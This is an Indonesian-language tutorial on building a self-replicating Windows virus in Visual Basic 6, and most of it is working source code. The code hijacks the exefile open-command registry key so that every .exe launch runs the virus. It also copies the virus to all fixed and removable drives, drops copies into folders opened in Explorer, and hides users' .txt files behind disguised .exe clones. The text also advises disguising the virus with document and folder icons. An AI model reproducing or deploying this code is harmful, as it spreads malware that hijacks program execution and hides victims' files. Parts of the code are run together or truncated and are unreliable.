Penyebaran
Penyebaran merupakan salah satu dari cara kerja suatu virus, agar virus
tersebut dapat melangsungkan hidupnya. Kayak mahluk hidup donk? Ya gitulah.
Dalam visual basic perintah penggandaan dapat dilakukan dengan dua cara:
1.
Menggunakan code standar dalam visual basic. (FileCopy).
2.
menggunakan code API untuk yang akan berinteraksi langsung dengan system
operasi sehingga memungkin perintah dapat berjalan lebih cepat dan selalu
berhasil. (CopyFile).
Fungsi untuk melakukan pengcopian file
1. Perintah Copy Visual Basic (FileCopy)
Dengan perintah perintah peng-copy-an suatu file pada visual basic, kita bias
membuat suatu fungsi untuk melakukan suatu penggandaan diri dalam suatu virus,
tapi fungsi ini tidak 100% berhasil. Dan memakan waktu yang lama jika digunakan
untuk melakukan penggandaan dalam jumlah banyak. Perintah ini sebaiknya
digunakan jika kita ingin membuat suatu virus yang sederhana.
Code:
FileCopy sumber,tujuan
2.
Fungsi API:
Penggunaan perintah API sangat disaran jika kita ingin membuat suatu applikasi
yang professional. Kok Applikasi? Karena fungsi ini biasanya digunakan untuk
membuat aplikasi installer yang dibuat oleh suatu perusahaan software. Fungsi API
selalu digunakan oleh perusahaan software agar software yang mereka buat bisa
langsung berinteraksi dengan system operasi dan bukan berinteraksi dengan
sebuah file virtual machine (Contoh : msvbvm60.dll) dimana virtual machine ini
berfungsi untuk melakukan hubungan dari suatu applikasi ke system operasi. Jadi
baiknya jika aplikasi kita buat langsung berhubungan dengan system operasi
sehingga kinerja dari aplikasi yang kita buat tersebut akan sangat baik. Apa
hubungannya sama virus? Jika kita bisa membuat virus yang langsung
berhubungan dengan system operasi. Selain proses penyebarannya sangat cepat,
virus itupun mampu melindungi dirinya dengan sangat baik. Karena ia mempu
mengendalikan suatu aplikasi. Apakah aplikasi tersebut perbolehlan untuk
dijalankan atau tidak.
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long
Code:
CopyFile Sumber,Tujuan,0
Bagaimana teknik penyebaran yang baik?
Tenik penyebaran yang baik yang biasa dilakukan oleh virus adalah
1. Membaca address bar pada window explorer
Tehnik ini sangat baik selain proses penyebaran sangat cepat juga tidak
memerlukan suatu teknik pencarian suatu file. Mengapa tidak memerlukan
pencarian? Karena user telah memberikan informasi lokasi suatu file yang
dianggap penting oleh user dengan cara membuka folder tersebut menggunakan
windows explorer yang selanjutnya digunakan user untuk menjalankan file tersebut.
Virus yang mendapatkan lokasi tersebut langsung menggandakan diri kedalamnya.
Biasanya penamaan file dari hasil penggandaan virus tersebut diambil dari nama
subfolder yang sedang terbuka.
Fungsi API:
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal HWND As Long, ByVal wMsg As Long, ByVal wParam As Long, _
lParam As Any)As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _ (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _
ByVal lpsz2 As String) As Long Public Const WM_GETTEXT = &HD
2. Membaca seluruh subfolder pada setiap partisi ataupun hanya partisi system saja.
Cara penggandaan yang satu ini sangat memakan banyak waktu untuk proses
penyebaran. Tapi jika penyeberannya berhasil bisa dibayangkan kalau cara
penggandaannya berdasarkan subfolder saja untuk satu partisi system saja bisa
mencapai ribuan coba kalau user tersebut menggunakan Multi OS dikomputernya.
Bayangkan saja!!!. Apalagi kalau system penggandaannya berdasarkan file-file
yang ada dipartisi, pasti lebih heboh lagi.
3. Membaca lokasi file yang dijalankan
Penggandaan berdasarkan lokasi file yang dijalankan. Cara yang satu ini memang
sangat cepat tapi hasil penggandaan tidak sebanyak dari 2 cara diatas. Ini
dikarenakan jika user menjalankan suatu aplikasi. Tapi jika user tidak menjalankan
suatu aplikasi maka virus tersebut tidak bisa menggandakan dirinya. Biasanya cara
ini digunakan untuk menginfeksi suatu file. Biasanya mempunyai hubungan dengan
registry.
Untuk membuat virus yang hebat sangat disarankan untuk menggabungkan
semua code yang tersebut. Tapi gunakanlah sesuai kebutuhan. Untuk masalah
pengganbungan saya serahkan kepada anda.
Agar virus tersebut tidak diketahui sebagai virus. Virus tersebut dapat
menggunakan icon yang memungkinkan seseorang tidak dapat mengenali apakah itu
virus atau bukan. Contoh nya adalah icon: Folder, Word, Exel, File Gambar (jpg, bmp,
png, gif), zip, rar, pdf, notepad, application, dll.
Kode penyebaran dengan mengambil lokasi dari aplikasi yang dijalankan:
'Registry APIPrivate Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, _ phkResult As Long) As Long
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, _
ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) _
As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias
"SetFileAttributesA" (ByVal lpFileName As String, _
ByVal dwFileAttributes As Long) As Long Enum REG HKEY_CURRENT_USER = &H80000001 HKEY_CLASSES_ROOT = &H80000000 HKEY_CURRENT_CONFIG = &H80000005 HKEY_LOCAL_MACHINE = &H80000002 HKEY_USERS = &H80000003 End Enum Enum TypeStringValue REG_SZ = 1 REG_EXPAND_SZ = 2 REG_MULTI_SZ = 7 End Enum
Dim lokasi As String Dim NamaFile1 As String Private Sub Form_Load()
With App
lokasi = .Path & "\"
NamaFile1 = .EXEName & ".exe"
End With
CreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", _ REG_SZ, "", Chr(&H22) & lokasi & NamaFile1 & Chr(&H22) & " " & _ Chr(&H22) & "%1" & Chr(&H22) & " %*"
'Jika parameter pemanggilan virus tidak sama dengan kosong
If Command$ <> "" Then
Dim sFilePath As String
'ambil Path file
sFilePath = Right$(Command$, Len(Command$) - 1) sFilePath = Left$(sFilePath, Len(sFilePath) - 2)
SetFileAttributes sFilePath, FILE_ATTRIBUTE_HIDDEN Or _ FILE_ATTRIBUTE_READONLY
CopyFile App.Path & "\" & App.EXEName & ".exe", _
NamaPath(sFilePath) & RTrim$(Left(NamaFile(sFilePath), _ Len(NamaFile(sFilePath)) - 4)) & " .exe", 0
SetFileAttributes NamaPath(sFilePath) & _
RTrim$(Left(NamaFile(sFilePath), Len(NamaFile(sFilePath)) - 4)) & _ " .exe", FILE_ATTRIBUTE_NORMAL
Shell Command$, vbNormalFocus DoEvents
End If
'jalankan sekali saja
If App.PrevInstance Then End
End Sub
'dapatkan nama file
Public Function NamaFile(sPath As String) As String
On Error Resume Next
Dim i As Integer
NamaFile = "" i = 0
If Right(sPath, 1) = "\" Then sPath = Left$(sPath, Len(sPath) - 1) For i = Len(sPath) To 1 Step -1
If Mid$(sPath, i, 1) = "\" Then
NamaFile = Right(sPath, Len(sPath) - i) Exit Function
End If
DoEvents Next
End Function
'dapatkan nama path
Public Function NamaPath(sPath As String) As String
On Error Resume Next
Dim i As Integer
NamaPath = sPath
For i = Len(NamaPath) To 1 Step -1 If Mid$(NamaPath, i, 1) = "\" Then NamaPath = Left$(NamaPath, i) Exit Function End If DoEvents Next i NamaPath = "" End Function
'Create or Set String Value Registry
Private Function CreateStringValue(hKey As REG, Subkey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long
On Error Resume Next
Dim ret As Long
RegCreateKey hKey, Subkey, ret
CreateStringValue = RegSetValueEx(ret, strValueName, 0, _ RTypeStringValue, ByVal strData, Len(strData))
RegCloseKey ret
End Function
Pertama kali yang dilakukan virus ketika virus dijalankan adalah menyeting registry
pada bagian exefile, dengan begitu ketika seseorang menjalankan aplikasi dengan
extensi “*.exe” maka virus akan berjalan dan melakukan pengecekan lokasi aplikasi
tersebut dijalankan dan melakukan penyebaran pada lokasi aplikasi tersebut
dijalankan.
Berikut adalah kode penyebaran dengan mencari drive yang tersedia dan melakukan
penyebaran pada drive tersebut.
Sediakan satu buah form dan satu buah module
Ketikan perintah ini pada form:
CariDrive
Ketikan perintah ini pada module:
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" _ (ByVal nDrive As String) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long 'dapatkan drive hardisk dan flashdisk Public Function CariDrive() As String
Dim ictr As Integer
Dim sAllDrives As String
Dim sDrive As String
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 3 Or GetDriveType(sDrive) = 2 Then
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & _ "virus.exe", 0
End If
Next
End Function
Berikut ini kode melakukan penyebaran dengan membaca alamat folder yang dibuka
dengan windows explorer dengan membacanya pda addressbar.
Siapkan satu form, satu timer dengan Interval=1500 dan satu buah module.
Ketikan perintah ini pada form:
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _ (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
lParam As Any) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, _ phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, _
ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) _
As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias _
"SetFileAttributesA" (ByVal lpFileName As String, _
ByVal dwFileAttributes As Long) As Long Private Const WM_GETTEXT = &HD
Private Const REG_DWORD = 4
Enum REG HKEY_CURRENT_USER = &H80000001 HKEY_CLASSES_ROOT = &H80000000 HKEY_CURRENT_CONFIG = &H80000005 HKEY_LOCAL_MACHINE = &H80000002 HKEY_USERS = &H80000003 End Enum
'Create or Set Dword Value Registry
Public Function CreateDwordValue(hKey As REG, Subkey As String, strValueName
As String, dwordData As Long) As Long
On Error Resume Next
Dim ret As Long
RegCreateKey hKey, Subkey, ret
CreateDwordValue = RegSetValueEx(ret, strValueName, 0, REG_DWORD, _ dwordData, 4)
RegCloseKey ret
End Function
Private Sub Form_Load()
CariDirectory "C:\", "Tes"
CreateDwordValue HKEY_CURRENT_USER, _
"Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState", _ "FullPathAddress", 1
End Sub
Dim ExploreWClass As Long Dim CabinetWClass As Long Dim WorkerW As Long Dim RebarWindow32 As Long Dim ComboBoxEx32 As Long Dim ComboBox As Long Dim Edit As Long
Dim temp As String * 255
Dim temp2 As String * 255
Dim AlamatFile As String Dim JudulCaption As String
ExploreWClass = FindWindow("ExploreWClass", vbNullString) CabinetWClass = FindWindow("CabinetWClass", vbNullString) If ExploreWClass = GetForegroundWindow Then
WorkerW = FindWindowEx(ExploreWClass, 0&, "WorkerW", vbNullString) SendMessage ExploreWClass, WM_GETTEXT, 200, ByVal temp2
ElseIf CabinetWClass = GetForegroundWindow Then
WorkerW = FindWindowEx(ExploreWClass, 0&, "WorkerW", vbNullString) SendMessage CabinetWClass, WM_GETTEXT, 200, ByVal temp2
End If
'dapatkan string pada address bar
RebarWindow32 = FindWindowEx(WorkerW, 0&, "RebarWindow32", vbNullString) ComboBoxEx32 = FindWindowEx(RebarWindow32, 0&, "ComboBoxEx32", _
vbNullString)
ComboBox = FindWindowEx(ComboBoxEx32, 0&, "ComboBox", vbNullString) Edit = FindWindowEx(ComboBox, 0&, "Edit", vbNullString)
SendMessage Edit, WM_GETTEXT, 200, ByVal temp
'ambil lokasi folder yang aktif pada windows explorer
AlamatFile = Mid$(temp, 1, InStr(temp, Chr$(0)) - 1) 'ambil caption windows explorer
JudulCaption = Mid$(temp2, 1, InStr(temp2, Chr$(0)) - 1)
If AlamatFile <> "" And JudulCaption <> "" Then
Form1.Print "Judul : " & JudulCaption Form1.Print "Address Bar : " & AlamatFile CariFile AlamatFile
End If
End Sub
Ketikan perintah berikut pada module
Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _ (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _ (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) _
As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias _ "SetFileAttributesA" (ByVal lpFileName As String, _
ByVal dwFileAttributes As Long) As Long
Public Declare Function GetFileAttributes Lib "kernel32" Alias _ "GetFileAttributesA" (ByVal lpFileName As String) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const INVALID_HANDLE_VALUE = -1
Public Const MAX_PATH = 260
Public Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long End Type
Public Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type 'cari file
Public Function CariFile(Path As String) As Integer
On Error Resume Next
Dim FileName As String
Dim hSearch As Double
Dim WFD As WIN32_FIND_DATA Dim cont As Double
CariFile = 0 Selesai = False
If Right(Path, 1) <> "\" Then Path = Path & "\"
cont = True
hSearch = FindFirstFile(Path & "*", WFD) If hSearch <> INVALID_HANDLE_VALUE Then
Do While cont
FileName = Mid$(WFD.cFileName, 1, InStr(WFD.cFileName, _ Chr$(0)) - 1)
If (FileName <> ".") And (FileName <> "..") Then
If Not FILE_ATTRIBUTE_DIRECTORY Then
If WFD.dwFileAttributes = 128 _
Or WFD.dwFileAttributes = 32 Then
If UCase(Right$(FileName, 3)) = "TXT" Then
SetFileAttributes Path & CariNama(FileName) & _ " .exe", FILE_ATTRIBUTE_NORMAL
CopyFile App.Path & "\" & App.EXEName & ".exe", _ Path & CariNama(FileName) & " .exe", 0
DoEvents
SetFileAttributes Path & FileName, _
FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY CariFile = CariFile + 1 DoEvents End If End If End If End If cont = FindNextFile(hSearch, WFD) Loop cont = FindClose(hSearch) End If
hSearch = FindFirstFile(Path & "*.*", WFD) DoEvents
End Function
'cari folder
Public Function CariDirectory(Path As String, SearchStr As String) As Double Dim DirName As String
Dim DirNames() As String Dim nDir As Double Dim i As Double Dim hSearch As Double Dim WFD As WIN32_FIND_DATA
Dim cont As Double
If Right(Path, 1) <> "\" Then Path = Path & "\" nDir = 0
ReDim DirNames(nDir) cont = True
hSearch = FindFirstFile(Path & "*", WFD) If hSearch <> INVALID_HANDLE_VALUE Then Do While cont
DirName = Mid$(WFD.cFileName, 1, InStr(WFD.cFileName, _ Chr$(0)) - 1)
If (DirName <> ".") And (DirName <> "..") Then
If GetFileAttributes(Path & DirName) _
And FILE_ATTRIBUTE_DIRECTORY Then
DirNames(nDir) = DirName nDir = nDir + 1
ReDim Preserve DirNames(nDir)
If UCase(DirName) = UCase(SearchStr) Then
Dim tamp As String
CariFile Path & DirName & "\" DoEvents
SetFileAttributes Path & DirName & "\" & _ NamaFile(Path & DirName) & " .exe", _ FILE_ATTRIBUTE_NORMAL
CopyFile App.Path & "\" & App.EXEName & ".exe", _ Path & DirName & "\" & NamaFile(Path & DirName) & _
" .exe", 0 TmpDrv = Left$(Path, 3) Exit Function End If End If End If cont = FindNextFile(hSearch, WFD) Loop cont = FindClose(hSearch) End If If nDir > 0 Then For i = 0 To nDir - 1
CariDirectory Path & DirNames(i) & "\", SearchStr Next i
End If End Function
'cari nama file/folder
Public Function CariNama(sName As String) As String On Error Resume Next
Dim i As Integer
i = 0
For i = Len(sName) To 1 Step -1 If Mid$(sName, i, 1) = "." Then CariNama = Left$(sName, i - 1) Exit Function End If Next End Function
'dapatkan nama file
Public Function NamaFile(sPath As String) As String
On Error Resume Next
Dim i As Integer
NamaFile = "" i = 0
If Right(sPath, 1) = "\" Then sPath = Left$(sPath, Len(sPath) - 1) For i = Len(sPath) To 1 Step -1
If Mid$(sPath, i, 1) = "\" Then
NamaFile = Right(sPath, Len(sPath) - i) Exit Function
End If
DoEvents Next
End Function
'dapatkan nama path
Public Function NamaPath(sPath As String) As String
On Error Resume Next
Dim i As Integer
For i = Len(NamaPath) To 1 Step -1 If Mid$(NamaPath, i, 1) = "\" Then NamaPath = Left$(NamaPath, i) Exit Function End If DoEvents Next i NamaPath = "" End Function